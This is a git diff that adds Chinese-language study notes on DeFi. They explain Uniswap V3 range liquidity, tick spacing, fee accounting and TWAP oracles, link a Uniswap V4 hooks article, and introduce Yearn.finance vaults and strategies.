+事实上，这种资产 X 全部转为资产 Y 的特性并不能算是缺陷，反而是一种可以利用的特性。比如当我们与市场看法相反的时候，市场大部分人看好 X，而你却看好 Y（或者看空 X），于是你故意设置了一个比较窄的价格区间（容易被价格穿过），放在比当前价格高的地方，此时注入流动性，将会全部是资产 X。当资产 X 价格上涨时，先进入你的流动性价格区间，不断有人用资产 Y 换走你池内的资产 X，直至价格完全穿过价格区间的上限，池内的资产 X 被全部换成了资产 Y。实际上就是图 04 中展示的过程。
+
+![reserves change](./img/understanding-04-reserveschange.webp)
+img04: reserves change
+
+回看整个过程，我们在一个价格区间内，完成了资产 X 到资产 Y 的转换，这就是一种变相的限价单功能。和传统的限价单不同的有两点：
+
+- 如果价格不能完全穿过整个价格区间，那么只会有部分资产被转换成另一种资产
+- 在转换完成后，请一定要记得将流动性移除，否则当价格再次回到区间内，又会做一次逆向的交易（将资产 Y 又换成了资产 X）
+
+## 交易
+
+在 V2 中，当用户在 UI 界面中填入想要交易的种类和某一方的精确数量（输入或者输出），UI 的就会自动根据 `xy=k` 这个公式本地计算出预估的另一方的数量和交易的滑点。如果去查看 V2 的路由合约 `Route`，就会发现估算交易量的函数 `quote`，实际是一个 `pure` 函数，即仅做纯计算的函数。因为计算过程就是根据池子中两种资产的总量和你的输入（或者输出）等比换算的过程。
+
+```math
+amountB = amountA * reserveB / reserveA
+```
+
+观察上述 V2 的 quote 公式，你会发现计算数量其实只用查询池子两种资产的总量 `reserveA`, `reserveB`，就能进行换算，而这两个数据是池子合约 `pair` 的 public 属性，是可以直接访问获得的。
+
+而在 V3 的机制里，不可能实现用本地计算估算交易量，因为价格的变动是不确定的。
+
+![liquidity distribution](./img/understanding-07-liquidity-distribution.png)
+img07: liquidity distribution
+
+上图中，左边是 V2 的流动性分布，可以看到是覆盖在整个价格轴均匀分布的。中间的是 V3 的单个流动性头寸(`position`)的分部，也就是当一个池子内，只注入了一次流动性的时候的状态，在一个价格区间内，均匀分布。而最右侧，是当很多个流动性叠加后，池内流动性的分布，也就是说因为每笔注入的流动性价格区间不同，他们会有重叠的区域，于是在重叠的区域上，流动性是会叠加的，也就形成了右侧这种不同价格区间内，堆叠高度不同的柱状分布。
+
+当然上述的堆叠图也只是一个示意图，在真实情况的流动性分布，会是如下的样子：
+
+![real liquidity distribution](./img/understanding-08-real-liquidity-distribution.png)
+img08: ETH-UNI liquidity distribution
+
+现在假设价格处于一个持续上涨的趋势，当价格开始从左至右穿过这些价格区间时，会不断用一种资产换取另一种资产，而被换出的资产储备是不断减小的，一旦当前价格区间的某种资产被耗尽，价格会穿过当前区间，进入下一个区间，由此产生了价格的变化（因为价格右移了，变大了）。在价格移动消耗池内资产数量的过程中，输入的资产数量也会不断减少，一旦在某个区间输入资产被耗尽，那么价格就会停留在该区间内。
+
+当然只是让价格停留在区间内，是不精确的，这个时候我们就需要借助计算添加流动性推导出来的公式，去反推计算出一个精确的价格（在该价格区间内）。
+
+为了实现上述计算，就必须清楚每一个 `tick` 上的流动性分布，然后像真实交易的过程那样，逐个计算每个 `tick` 区间内流动性是否被耗尽，最后得出交易的价格，才能确认这一笔交易的滑点水平。（UI 界面中并没有这么干，而是很 tricky 的使用了`ethers.staticCall`去模拟调用合约的交易功能，最后在 revert 信息中读取预估数据，这一点感兴趣的同学可以去阅读 interface 的解析部分，这里不展开讨论）。
+
+细心的同学可能发现，刚才的描述中出现了名为 `tick` 的新概念，这就是接下来我们需要深入探讨的问题。
+
+## 手续费
+
+在 V2 中，因为大家提供的流动性都是统一的手续费标准（0.3%），统一的价格区间(0, ∞)，所以大家的资金都是均匀分布在整个价格轴之上的，因此在每一笔交易的过程中，大家收取手续费的权重计算比例也应该是相等的。即每一笔手续费的收益分配，只基于用户提供的流动性相对于总流动性的比例来分配，出资多的得到的收益多，这很好理解。
+
+然而 V3 的价格区间做市机制，让 V2 的分配机制不再公平，因为流动性都有不同的做市区间，也就是说不同的交易价格，使用的流动性是不同的，那么这个时候，再用出资比例来分配，是不合适的。
+
+正确的方式应该是记录每一笔交易，都使用了哪些流动性头寸 `position`，再将这么些头寸汇总，按比例分配。
+
+这样在理论上来说是合理的，如果是中心化的网络这么干的成本可能承受的起，但放到区块链的运行环境中，频繁的进行高昂的读写操作是不可行的，会为用户带来极高的 gas 费用，使得交易的摩擦成本飙升，变得不划算。
+
+我们需要一个节省 gas 的实施方案。
+
+### 离散的价格点 Ticks
+
+优化的第一步，先从价格轴开刀。一个连续的价格轴上，可以拥有无穷多个价格点，因为即使是 (0,1) 这个区间，你都能将其划分成无限多个小数。如果我们在 V3 中仍用连续的价格轴来记录，那将会是一个无限膨胀的 storage 变量。
+
+那么我们确定了第一个条件，价格轴必须是不连续的，即一个个离散的点组成的集合。交易的价格只能限定在这些点之中。
+
+限定价格点，当然会带来价格不精确的问题，毕竟我们将相邻两个点之间的价格都去掉了。为了保证这种精度的误差不至于对交易有过大的影响，我们设置的点的间隔也不能太大，那么就先定为相差 `0.0001` 好了。
+
+于是我们得到了一个差为 `0.0001` 的等差数列。因为 solidity 不支持小数，所以我们决定对这些等差元素进行编号，比如 0.0001 是 1 号， 0.0002 是 2 号...
+
+然后很快你就排不下去了，因为 solidity 最大的整数是 `2^256`，大约在 `1.158e73` 的价格就到头了。看起来上限也足够大了，但我们忽略另一种情况，那就是比公差小的价格，也就是 (0,0.0001) 之间的价格，很多小币值 token 如果和 `btc`, `eth` 组成交易对，都在这个区间。所以等差数列也不太合适。
+
+实际上等比数列虽然表现好点，但问题本身还存在。
+
+我们其实在设置等差或等比数列的时候忽略了一个前提，当价格的值越大的时候，对价格精度的要求会越来越低（想象一下当价格在几万刀的时候，价格的波动会局限于 0.0001 的差距吗？），所以价格的间隔也就没必要那么小。反过来，当价格越小的时候，需要的价格精度也就越高，需要的间隔也就越小。所以我们需要的是一个间隔由极小逐渐增大的数列。
+
+也就是 V3 使用的等幂数列。即：
+
+```math
+p(i)=1.0001^i
+```
+
+这里的 i 是价格的序号，一个 `int24` 类型（有符号）。当 i 为 0 的时候，价格为 1，这就是价格的基点。当 i 越来越大，其间隔会越来越大，而当 i 越来越小，其间隔会越来越小。这里当 i 为负数时，实际上是对 1.0001 开根号，价格是 (0,1) 区间内的数值。
+
+由于在实际计算过程中使用的不是价格 p 而是根号价格 √p(例如之前流动性与 token 数量的换算中)，我们需要将价格表达调整为：
+
+```math
+√p(i)=(√1.0001)^i
+```
+
+在 V3 中的价格是从 `(√1.0001)^(int24).min` 到 `(√1.0001)^(int24).max` ，这是一个足够宽广的价格区间，且满足交易中的精度要求。
+
+这里的 `i` 也就是价格的序号，我们称之为 `tick`，而由所有序号组成的集合称之为 `Ticks`。在合约代码中，主要是以 tick 来记录流动性的区间。
+
+### 交易费率水平和 tickspacing
+
+我们用等幂数列将连续的价格轴变成了离散的点集合，已经简化了一大步，可惜并不够。因为市场中的交易对，其价格波动的幅度并不是统一的，比如两个稳定币组成的交易对（dai+usdc) 其波动是集中在一个非常小的幅度内的，而如果是两个 AltCoin(山寨币)，那么价格波动可能就非常大。对于波动幅度小的交易对，需要比较密集的价格点来提高精度，而本身波动非常大的交易对，则不需要耗费太多 gas 在密集的价格点计算上，即比较稀疏的价格点分布。
+
+不仅是价格点的密度需求不同，不同波动幅度的交易对需要的手续费等级也不同。比如稳定币交易对，由于波动非常小，交易产生的价差也不可能太大，如果收取 0.3% 或更高的手续费是不合适的，不利于市场的流动性，而两个山寨币的交易对，由于波动幅度非常大，其产生的价差也可能非常大，即使是 1% 的手续费也有很多人愿意执行交易。
+
+于是 V3 引入了费率三档可选等级和相应的 `tick` 疏密程度，也就是 `tickspacing` 。对于每一种交易对而言，都有三档可选费率等级，0.05%, 0.3%, 1%，并且以后通过社区治理，还有可能永久增加可选的挡位。每种交易费率等级都由给定的 tickspacing，比如稳定币交易对，就是 tick 之间需要间隔 10 个才是有效的可使用的 tick 。位于间隔内的 tick 虽然存在，但程序不会去初始化和使用，也就不会产生 gas 费用。因此，我们在等幂数列的基础上，进一步节省了计算消耗。
+
+V3 设定的费率等级：
+
+| 费率  | tickspacing | 建议的使用范围   |
+| ----- | ----------- | ---------------- |
+| 0.05% | 10          | 稳定币交易对     |
+| 0.3%  | 60          | 适用大多数交易对 |
+| 1%    | 200         | 波动极大的交易对 |
+
+### liquidityNet 和 liquidityGross
+
+<!-- tick 上的数据，是描述一个交易池状态基础数据，每一笔交易对价格的影响，对流动性的影响，对手续费的影响，都要从 tick 的数据上操作。 -->
+
+<!-- 想要精确的计算每一个流动性头寸应得的手续费收益，或者说在总收益中所占的权重，就需要精确的记录每个价格点上所具备的流动性数量，和每个价格点所收取的手续费。 -->
+
+这两个是存于 tick 上和流动性相关的数据。
+
+`liquidityGross`: 很好理解，每当有流动性将该 tick 设为价格区间时，不论是价格上限还是价格下限， `liquidityGross` 都会增加。换言之，当 `liquidityGross > 0` 说明该 tick 已经初始化，正在被流动性使用，而 `liquidityGross == 0` 则该 tick 未初始化，没有流动性使用，计算时可以忽略。
+
+`liquidityNet`: 表示当价格穿过该 tick 时，处于激活的流动性需要变化的数量。
+
+在注入或移除数量为 `l` 的流动性时，具体规则如下：
+
+- 注入流动性，tick 是价格下限，`liquidityNet` 增加 `l`
+- 注入流动性，tick 是价格上限，`liquidityNet` 减少 `l`
+- 移除流动性，tick 是价格下限，`liquidityNet` 减少 `l`
+- 移除流动性，tick 是价格上限，`liquidityNet` 增加 `l`
+
+你可能初见此规则，感到很迷惑，为何在注入流动性的时候，`liquidityNet` 有减少的情况，移除的时候反而有增加的情况。其实你需要将这个变量理解为 `delta L`。
+
+在流动性的章节，我们已经说过流动性有激活和非激活两个状态，即价格区间包含当前价格属于激活状态，反之则是未激活状态。那么一个池子内，处于激活状态的流动性数量总是随着价格的变动在变化的。而 `liquidityNet` 记录的就是当价格穿过该 tick 时，需要增加或减少的数量。
+
+举个栗子： 假设现在有两个首尾相连的价格区间(a,b) 和 (b,c)，分别有 1 和 2 的流动性。当价格从 a 点左侧进入 (a,b) 区间，此时池子的激活流动性应该增加 1，那么我们在 a 的 tick 上写入 `liquidityNet += 1` ，当价格走到 b 点，此时已经离开了 (a,b) 区间，池子的激活流动性应该减少 1，所以 b 点的 tick 上写入 `liquidityNet -= 1`。然后进入了第二个区间，池内刚刚减少的激活流动性，又要增加了，于是 b 的 tick 上又写入 `liquidityNet += 2`，直至价格穿过 c 点，池内激活流动性又需要减少 2 ， c 点的 tick 上写入 `liquidityNet -= 2`。
+
+我们需要的是一个可以精确控制池内激活流动性总数的差值，这就是 `liquidityNet` 有增有减的原因。实际上，类似图 08 那样的，在 UI 界面绘制出精确的流动性分布图，就是利用当前池内激活流动性总量和每个 tick 上的 `liquidityNet` 去累加或者累减的结果。
+
+现在知道了 tick 上的流动性分布情况，是不是就能来计算手续费的收益情况了呢？
+
+### 直接累加手续费的方案
+
+现在我们来设计一套手续费的计算方案。既然之前已经拿到了流动性的分布情况，那么每笔交易的进行过程中，我们就能根据相应的交易量，对应相应的流动性头寸，将其产生的手续费数量加上去。
+
+- 一笔交易开始，根据之前交易部分的过程描述，交易会在已有流动性的 tick 之间，逐个进行
+- 当价格来到一个 tick (已有流动性的tick)，我们只要记录这个 tick 上的交易量，根据费率算出该区间的总手续费
+- 然后找出所有包含该 tick 流动性头寸 `position`，先将他们的数量汇总
+- 再根据出资比例逐个分配手续费，将数值累加到待每个头寸的待收取手续费的变量上
+
+这个过程符合直觉，而且逻辑其实并不算复杂。但是**十分消耗 gas**。
+
+先不谈一笔交易可能会横跨很多个 tick ，单就一个 tick 的计算，就有可能涉及到非常多的流动性头寸 `position`，这不但需要一个耗时的遍历查找的过程，更严重的问题是，每个流动性头寸的待收取手续费肯定是一个 storage 变量，当我们去逐个写入新的数值的时候，gas 费用就起飞了。
+
+上述方案让交易者承担了做市者的 gas 费用，因为记录手续费的分配细节，是做市商们的事务。对于交易者来说，本就承担了手续费，然后还要负责耗费大量 gas 去帮他的对手盘们记录怎么分钱，这肯定不是什么美妙的体验。其实就算是做市商也不会愿意承受。
+
+高昂的 gas 费用是该方案的最大障碍，不得不使用遍历的原因在于分配方案需要保证公平性：
+
+- 在任意区间内，根据出资比例和参与时长保证分配的公平性
+- 在不同的价格区间之间，根据出资比例和参与时长保证分配的公平性
+
+如果既要避免高昂的遍历操作，又要保证上述两个公平性，就需要换一种方式。
+
+我们不妨将任务拆分开来实现。
+
+### 相同区间 position 之间的分配
+
+为了简化问题，我们假设这个池子内所有的流动性价格区间都是 (0, ∞)。
+
+对于计算流动性大小的比例（出资比例），不得不在交易过程中去遍历的原因在于，池内所有流动性头寸 `position` ，他们的数量和头寸之间的大小比例是会不断变化的。你无法缓存一个固定的比例，然后在每次交易时按照这个固定的比例分配。
+
+因为流动性头寸可能随时会移除或注入，这个比例是无法保证一直正确的，每次交易都需要遍历计算。
+
+所以我们应该放弃计算流动性大小的比例，转而去计算每单位流动性能够获取的手续费数量（即 1 个流动性产生的手续费收益）。
+
+在提供流动性的用户提取手续费的时候，我们是可以获取他提供的流动性数量的，那么只要将其数量和每单位获取的手续费收益相乘，就是他应得的手续费数量。每单位流动性应得的手续费数量只需要用全局的总手续费除以全局的流动性总量即可。
+
+```math
+fee = delta L * (fee_global / liquidity_global)
+```
+
+我们设置一个记录全局的每单位流动性赚取手续费的累计值 `feeGrowthGlobal` （注意有 growth，表示它是累计值）。
+
+相关的全局变量有 2 个：
+
+- `feeGrowthGlobal`: 每当有交易发生，就会把每单位流动性赚取的手续费累加到该变量上，这是一个随时间推移单调递增的变量。（这个变量其实有两个，因为手续费的收取是两种资产分别收取的，所以累计的变量也对应了两个。但因为他们的逻辑完全一样，就不分开讲了）
+- `liquidity`: 池内当前处于激活状态的总流动性数量。**注意并非是注入的所有流动性总量，而是只计算价格区间包含当前价格的流动性数量，这个变量的含义非常容易误解**。关于 `liquidity` 的更新机制，参考之前的 `liquidityNet` 讲解。
+
+在交易的过程中，有一个相关的局部变量：
+
+- `delta fee`: 交易过程中，每一步产生的手续费数量。具体参见之前的交易过程章节。
+
+我们只需要用 `delta fee` 除以 `liquidity` 就能得到 `feeGrowthGlobal` 每次需要增加的量。
+
+```math
+feeGrowthGlobal += delta fee / liquidity
+```
+
+对于任意相同价格区间的 `position` （不同用户注入的），只需要在流动性发生变化时（注入或移除），计算这段时间内 `feeGrowthGlobal` 的增量再乘以该 `position` 的流动性数量，就可以知道这段时间内该 `position` 收取的手续费增量。最后将 `position` 内手续费的增量累加起来就是它应得的数量。
+
+**梳理一下**：
+
+- 我们不需要遍历流动性数量算出流动性数量比例，而是去关注每单位收益的增量，当我们需要计算手续费数量时候，乘以流动性数量即可。
+- 在 `position` 流动性数量发生变化之前，需要将之前这段时间的手续费增量计算出来，累加记录到相关变量中。（因为流动性数量在变化，不能将所有时间段的手续费都以最后的数量来计算）
+- 全局的 `feeGrowthGlobal` 是会随着交易进行实时更新的，而 `position` 中的手续费数量不会实时更新，只会在调用 mint 和 burn 这两个会改变流动性数量的函数时触发更新。
+
+### 不同区间之间的分配
+
+我们刚刚解决了同一个区间内的分配方案，或者说是统一的 (0, ∞) 区间。计算过程中使用的是 `feeGrowthGlobal`，当池内出现了不同的价格区间，计算就没办法进行了。因为每个区间对于手续费的贡献不同，我们也不能在全局手续费增加的时候，去计算不同区间之间的比例（和之前一样，遍历会让 gas 飙升）。
+
+我们要如何把 `feeGrowthGlobal` 公平且省 gas 的分配给不同的区间呢？
+
+回顾交易的过程，每当价格移动到某个 tick 上，会不断的消耗其上的流动性，这才是产生手续费的根源。那么，如果我们把每次的手续费增量记录到 tick 上，用户收取手续费的时候再汇总其区间内的所有 tick 数据，是不是就能实现呢？
+
+听起来不错，但依然有问题，因为价格区间内的 tick 也可能非常多，那样就又回到了遍历的问题上。
+
+我们需要打破注意力的局限性，把目光移到价格区间之外，会发现有一种变量是不需要遍历计算的： **区间外的手续费**。
+
+如果我们在收取手续费的时候，能知道区间外的手续费数量，不是就能间接知道区间内的手续费了嘛？这里我们依旧以每单位流动性可收取手续费数量作为累加的增量。
+
+```math
+feeGrowthInside = feeGrowthGlobal - feeGrowthOutside
+```
+
+假如交易在一个 (a,b) 的价格区间内进行，手续费会在区间内不断累加，但是区间外是一直不变的，即 (0, a) 和 (b, ∞) 区间内的手续费并没有增加。想要计算 (a,b) 区间内的手续费，其实只要用池子内所有流动性赚取的总手续费数量减去区间两边外侧的手续费就行了。
+
+```math
+feeGrowthInside = feeGrowthGlobal - feeGrowthOutside_below - feeGrowthOutside_above
+```
+
+`feeGrowthOutside_below` 对应 (0, a) 区间， `feeGrowthOutside_above` 对应 (b, ∞) 区间。接下来看看如何去获取这两个的数量。
+
+我们需要在 tick 上新增一个 `feeGrowthOutside` 变量，记录该 tick 作为流动性边界时，区间外的手续费总量。
+
+如果以某个 tick 作为中轴，价格点所在的一侧是内侧，而相对的另一侧是外侧。于是触发其更新的条件其实只有一个：当价格穿过该 tick 时（不论方向左右）。因为只有此时，tick 左右两侧会互换内侧和外侧的定义。
+
+另外当没有流动性将该 tick 作为边界时，我们是不用考虑这个变量的，所以我们将 tick 的初始化放在注入流动性的时候，初始化价格边界对应的两个 tick，而当某个 tick 上流动性重新归零 （`liquidityGross == 0`），我们在计算时可以再次忽略它。
+
+**梳理一下**
+
+假设价格在第 `i_current` 个 `tick` ，对于第 `i` 个 tick 而言
+
+每当有流动性注入的时候，在价格的边界对应的 tick 上有如下初始化规则：
+
+- 当 `i_current < i` 则 `feeGrowthOutside = fee_global`
+- 当 `i_current >= i` 则 `feeGrowthOutside = 0`
+
+在交易过程中，`feeGrowthOutside` 有如下更新规则：
+
+- 当价格穿过某个已初始化的 tick 时，该 tick 上的 `feeGrowthOutside` 需要翻转，因为外侧手续费永远要在当前价格的另一侧，固 `feeGrowthOutside = feeGrowthGlobal - feeGrowthOutside`
+
+<br>
+
+有了 tick 上的 `feeGrowthOutside` 变量，区间外两边的外侧手续费就能得出了。
+
+```math
+feeGrowthInside = feeGrowthGlobal - feeGrowthOutside_below - feeGrowthOutside_above
+```
+
+below 和 above 的计算需要根据 `i_current` 与 a, b 两点的位置关系来判断。
+
+假设我们需要计算 a, b 两点区间内的手续费，此时 `i_current` 当前在 b 点右侧。
+
+| . | . | . | . | . | . | . | . |
+| - | - | - | - | - | - | - | - |
+| ... |  | a |  | b |  | i | ... |
+
+`i_current` 当前在 b 点右侧，此时 `feeGrowthOutside_b` 实际上记录的是 b 点左侧的手续费，而我们需要计算的 above 应该是 b 点右侧的手续费，所以这里其实是需要用 `feeGrowthGlobal` 减去 `feeGrowthOutside_b`.
+
+```math
+feeGrowthOutside_below = feeGrowthOutside_a // a点所对应的tick的feeGrowthOutside
+feeGrowthOutside_above = feeGrowthGlobal - feeGrowthOutside_b // b点所对应的tick的feeGrowthOutside
+```
+
+代入之前的公式
+
+```math
+feeGrowthInside = feeGrowthGlobal - feeGrowthOutside_a - (feeGrowthGlobal - feeGrowthOutside_b)
+```
+
+**注意根据 `i_current`, `a`, `b` 三者位置关系不同，需要判断 above 和 below 的计算方式**，具体逻辑在 `Tick.sol` 的 `getFeeGrowInside()` 中。
+
+### V3 手续费的完整流程
+
+现在我们将两个方案连起来，就是 V3 的解决方案了。
+
+1. 首先我们需要记录池子内全局的每单位流动性收取手续费的数量的累加变量 `feeGrowthGlobal`
+2. 在每个有流动性的 tick 上记录外侧的手续费数量 `feeGrowthOutside`
+3. 对于任意区间，利用公式计算出区间内的手续费总量 `feeGrowthInside`
+   ```math
+   feeGrowthInside = feeGrowthGlobal - feeGrowthOutside_lower - feeGrowthOutside_upper
+   ```
+4. 该区间内会存在不同用户注入的不同流动性头寸 `position`，在 `position` 流动性数量发生变化时，累加距离上次变化到现在这段时间的手续费数量增量到 `tokensOwed` 变量（该 positioin 总共可回收的流动性数量）
+   ```math
+   tokensOwed += feeGrowthInside * liquidity_position (position的流动性数量)
+   ```
+5. 用户收取手续费，从 `tokensOwed` 中扣除，其他变量不受影响。
+
+> V3 的 position 实际上有两种，一种是 Pool 合约中的（属于底层合约，一般不与用户直接交互），只要价格区间相同，就是同一种 position；而另一种是 PositionManager 合约中的，属于用户交互合约，该合约的 position 会区分不同用户。这里为了描述逻辑的连贯性并没有对两种 position 做区分。感兴趣的小伙伴可以具体参考合约代码部分的解析。
+
+> V2 的手续费计算流程是隐式的，合并在交易和移除流动性的流程中，逻辑比较简单。首先因为所有流动性都有相同的价格区间，再者 V2 没有考虑做市时长的因素，也就是说后注入的流动性会摊薄之前流动性的手续费收益。
+
+## 预言机
+
+V2 的预言机提供了 TWAP (time-weighted average price 时间加权平均价格)，更新时间是每个区块的第一笔交易的价格，其数值是上一次的数值加上当前价格乘以时间差。
+
+```math
+a(t) = a(t-1) + price * delta_t
+```
+
+外部用户可以通过记录该数值的变化和时间点，获得在一段时间内受短期波动影响较小的时间加权价格。
+
+```math
+p(t1,t2) = (a(t2) - a(t1)) / (t2 - t1)
+```
+
+上述公式得出了在 t1 到 t2 的时间内，预言机提供的时间加权价格。因为其值是经过时间加权的（累加的是价格乘以时间差），所以受短期波动影响较小，这样能有效防止恶意的价格波动。
+
+V2 的预言机在核心合约上只保留最新的一个值，所以如果外部用户想要使用这个预言机，需要自己搭建一套监控和记录的设施，增加了使用者成本。
+
+V3 相比于 V2 的预言机，有以下较大改动：
+
+1. 相比 V2 累加的是价格的加权数值，V3 累加的是价格的 log 值，即 `log(price, 1.0001)`
+2. 在核心合约中增加了存储预言机数值的空间，最大 65536 个数值，至少 9 天的数值，建立监控和记录设施不再是必要条件
+3. 增加关于流动性的预言机数值，记录周期和价格一致（每个区块的第一笔交易），其值是当前激活状态的流动性数量的倒数，即 `1/liquidity`
+
+### 算术平均与几何平均
+
+V2 的方式是直接记录价格的累加值，而使用时再除以时间间隔，这就是一种算术平均 (arithmetic mean)。而 V3 累加的是 `log(price, 1.0001)` 也就是价格的幂，使用时再除以时间间隔，这是几何平均 (geometric mean)。
+
+所以 V3 的预言机公式需要改成如下:
+
+`a(t)` 是时间 t 时，预言机记录的值（累加价格的 log 值）。
+
+$$
+a_t = \sum_{i=0}^tlog(p_i, 1.0001)
+$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=a_t=\sum_{i=0}^tlog(p_i, 1.0001)" /> -->
+
+这里的 log 数值后面其实还有一个 `* 1s` 即以每秒作为时间间隔。然而实际情况中，合约中是以区块的时间戳作为标记时间的，所以合约中的代码跟公式不同。每个区块的头一笔交易时更新，此时距离上一次更新时间间隔肯定大于 1s，所以需要将更新值乘以两个区块的时间戳的差。`tickCumulative` 是 tick 序号的累计值，tick 的序号就是 `log(√price, 1.0001)`。
+
+```math
+tickCumulative += tick_current * delta_time
+tickCumulative += tick_current * (blocktimestamp_current - blocktimestamp_before)
+```
+
+当外部用户使用时，求 t1 到 t2 时间内的时间加权价格 `p(t1,t2)` ，需要计算两个时间点的累计值的差 `a(t2) - a(t1)` 除以时间差。
+
+$$
+a_{t2}-a_{t1} = \frac{\sum_{i=t1}^{t2}log_{1.0001}(p_i)}{t2-t1}
+$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=a_{t2}-a_{t1}=\frac{\sum_{i=t1}^{t2}log_{1.0001}(p_i)}{t2-t1}" style="display: block;margin: 24px auto;width: 260px;" /> -->
+
+$$
+log_{1.0001}(p_{t1,t2}) = \frac{a_{t2}-a_{t1}}{t2-t1}
+$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=log_{1.0001}(p_{t1,t2})=\frac{a_{t2}-a_{t1}}{t2-t1}" style="display: block;margin: 24px auto;width: 260px;" /> -->
+
+$$
+p_{t1,t2} = {1.0001}^\frac{a_{t2}-a_{t1}}{t2-t1}
+$$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=p_{t1,t2}={1.0001}^\frac{a_{t2}-a_{t1}}{t2-t1}" style="display: block;margin: 24px auto;width: 260px;" /> -->
+
+使用几何平均的原因：
+
+- 因为合约中记录了 tick 序号，序号是整型，且跟价格相关，所以直接计算序号更加节省 gas。（全局变量中存储的不是价格，而是根号价格，如果直接用价格来记录，要多比较复杂的计算）
+- V2 中算数平均价格并不总是倒数关系（以 token1 计价 token0，或反过来），所以需要记录两种价格。V3 中使用几何平均不存在该问题，只需要记录一种价格。
+  - 举个例子，在 V2 中如果 USD/ETH 价格在区块 1 中是 100，在区块 2 中是 300，USD/ETH 的均价是 200 USD/ETH，但是 ETH/USD 的均价是 1/150
+- 几何平均比算数平均能更好的反应真实的价格，受短期波动影响更小。白皮书中的引用提到在几何布朗运动中，算数平均会受到高价格的影响更多。
+
+> 我在 [oracleCompare.ipynb](./oracleCompare.ipynb) 中简单模拟了算数平均和几何平均的预言机机制，实际结果是算数平均受高价影响较大，而几何平均受低价影响较大。
+
+### 流动性预言机
+
+相比于 V2，任何时刻活跃的流动性就是池子内所有流动性数量总和（因为都是全价格区间），V3 有了不同价格区间，所以不同时刻，激活状态的流动性数量并不是池子内的总流动性数量。为了便于外部使用者更好的观测激活流动性的数量，V3 添加了预言机的 `secondsPerLiquidityCumulative` 变量。
+
+```math
+secondsPerLiquidityCumulative +=  delta_time / liquidity {liquidity > 0}
+secondsPerLiquidityCumulative +=  delta_time / 1 {liquidity = 0}
+```
+
+（因为 liquidity 可能为 0，此时分母为 1）
+
+这里的具体含义是每单位流动性参与的做市时长，即一段时间内，参与的流动性越多，那么每单位流动性参与的时长越短，因为分摊收益的流动性数量变多了，反之亦然。
+
+其记录机制和价格逻辑一致，不再赘述。这里介绍一下它的用途。
+
+### Tick 上辅助预言机计算的数据
+
+每个已初始化的 tick 上（有流动性添加的），不光有流动性数量和手续费相关的变量(`liquidityNet`, `liquidityGross`, `feeGrowthOutside`)，还有三个可用于做市策略。
+
+tick 变量一览：
+
+| Type   | Variable Name                  | 含义                                  |
+| ------ | ------------------------------ | ------------------------------------- |
+| int128 | liquidityNet                   | 流动性数量净含量                      |
+| int128 | liquidityGross                 | 流动性数量总量                        |
+| int256 | feeGrowthOutside0X128          | 以 token0 收取的 outside 的手续费总量 |
+| int256 | feeGrowthOutside1X128          | 以 token1 收取的 outside 的手续费总量 |
+| int256 | secondsOutside                 | 价格在 outside 的总时间               |
+| int256 | tickCumulativeOutside          | 价格在 outside 的 tick 序号累加       |
+| int256 | secondsPerLiquidityOutsideX128 | 价格在 outside 的每单位流动性参与时长 |
+
+outside 的含义参考手续费部分的讲解，这些变量前几个都是手续费部分用到的，最后三个则是预言机相关的数据。
+
+tick 辅助预言机的变量的使用方法：
+
+1. `secondsOutside`： 用池子创建以来的总时间减去价格区间两边 tick 上的该变量，就能得出该区间做市的总时长
+2. `tickCumulativeOutside`： 用预言机的 `tickCumulative` 减去价格区间两边 tick 上的该变量，除以做市时长，就能得出该区间平均的做市价格（tick 序号）
+3. `secondsPerLiquidityOutsideX128`： 用预言机的 `secondsPerLiquidityCumulative` 减去价格区间两边 tick 上的该变量，就是该区间内的每单位流动性的做市时长（使用该结果乘以你的流动性数量，得出你的流动性参与的做市时长，这个时长比上 1 的结果，就是你在该区间赚取的手续费比例）。
+
+## 参考的文章
+
+- 《Uniswap v3 详解系列》 （paco）: https://liaoph.com/uniswap-v3-1/
diff --git a/defi/Uniswap-V4/readme.md b/defi/Uniswap-V4/readme.md
new file mode 100644
index 000000000..bad92dcac
--- /dev/null
+++ b/defi/Uniswap-V4/readme.md
@@ -0,0 +1,3 @@
+
+Dynamic Fees Hook:
+https://medium.com/@umbrellaresearch/uniswap-v4-hooks-a-deep-dive-with-captain-hook-ii-44b0efc84e45
\ No newline at end of file
diff --git a/defi/YFI/readme.md b/defi/YFI/readme.md
new file mode 100644
index 000000000..5aefea5ce
--- /dev/null
+++ b/defi/YFI/readme.md
@@ -0,0 +1,46 @@
+# 介绍   
+Yearn.finance是一种DeFi的生态系统，该系统让较不熟悉的交易者使用许多复杂获利的工具。基本上，该系统提供整合服务，维护用户的资产，并且使利润最大化。安德烈·克罗涅是一位南非金融技术开发人员，他在发现不同DeFi应用提供的收益不一致后，受到启发，创建了Yearn.finance。    
+该协议的主要功能称为机枪池。用户可以将加密货币存入其中并赚取收益。存入的资金通过一种努力实现收益最大化，同时将风险降至最低的策略来管理。在上线之初，机枪池主要面向稳定币，后来陆续支持以太币、代币化比特币产品、Chainlink和其他币种。  
+机枪池非常重要，它可以降低以太坊高昂的交易成本。通过这种集资方式，只有一个账户（即每个机枪池的控制者）需要支付交易费用（燃料费）来进行流动性挖矿。
+
+## 机制原理  
+### yVault 代币  
+每一个代币对应一个 Vault，用户把代币放到里面后，会得到yVault代币，协议会根据策略在不同的DeFi产品中寻求最佳回报的机会进行投资，复利产生的回报将使得yVault的净值增加，当用户赎回时，系统会扣除一部分管理费，将代币还给用户，并销毁yVault。  
+yVault 代币是ERC20，这意味着它们可以像任何其他常见的以太坊代币一样转移和交易。    
+
+### 投资策略  
+针对每一个 yVault 都会存在一个或多个投资策略 ( Strategy )，在 V1 版本中每个 yVault 只支持一个 Strategy ，但是在 V2 版本中每个 yVault 最多可以实施20种策略，极大的丰富了产品的形态。截至目前，Yearn成员在不同的金库中一共部署了242种策略。   
+任何人都可以构建策略，但为了将其添加到 yVault，策略师需要通过策略审查流程，包括概念审查、代码审查、安全审查和主网测试。构建策略的开发者可以获得策略收益的10%。  
+
+
+### 策略收入   
+yearn目前针对稳定币、DeFi代币、Curve LP三种类型的资产设计了不同的策略组合。  
+1）稳定币和DeFi协议代币   
+向AAVE存入DAI获得利息；  
+向Curve的3pool稳定币矿池提供DAI流动性挖矿，赚取 CRV流动性挖矿激励和交易费用；   
+2）Curve LP代币  
+通过yearn向Curve的合约质押LP，获得流动性挖矿奖励，产出的CRV将被出售获得更多的LP。  
